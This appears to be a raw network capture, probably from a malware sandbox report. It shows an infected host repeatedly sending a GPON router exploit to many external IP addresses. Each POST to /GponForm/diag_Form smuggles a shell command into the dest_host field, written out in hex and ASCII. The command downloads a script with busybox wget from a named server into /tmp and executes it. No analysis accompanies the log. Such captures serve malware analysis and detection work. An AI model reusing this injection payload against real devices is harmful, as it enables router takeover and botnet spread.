Mar 2, 2024 12:37:28.966483116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	42476	37.63.224.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966494083 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	50318	212.128.10.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966511965 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	57980	178.74.203.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966535091 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	43092	109.250.197.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966559887 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	36038	79.235.95.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966578960 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	42348	94.126.65.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966598034 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	41782	94.7.41.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966624022 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	58576	212.62.21.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966633081 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	51226	42.214.227.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966666937 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	46760	79.156.17.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966697931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	51134	210.50.67.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966702938 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	37888	178.4.189.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966721058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	50072	79.52.213.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966741085 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	35580	5.72.108.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966756105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	53644	2.145.229.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966780901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	48178	94.68.66.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966809034 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	45880	109.95.98.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966841936 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	45346	212.202.174.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966866970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	33772	79.168.185.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966891050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	43418	5.95.46.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966907024 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	55120	118.39.232.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966928005 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	59528	5.55.242.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966931105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	39672	5.254.155.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966989040 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	36878	109.27.181.238	443

Timestamp	Bytes transferred	Direction	Data
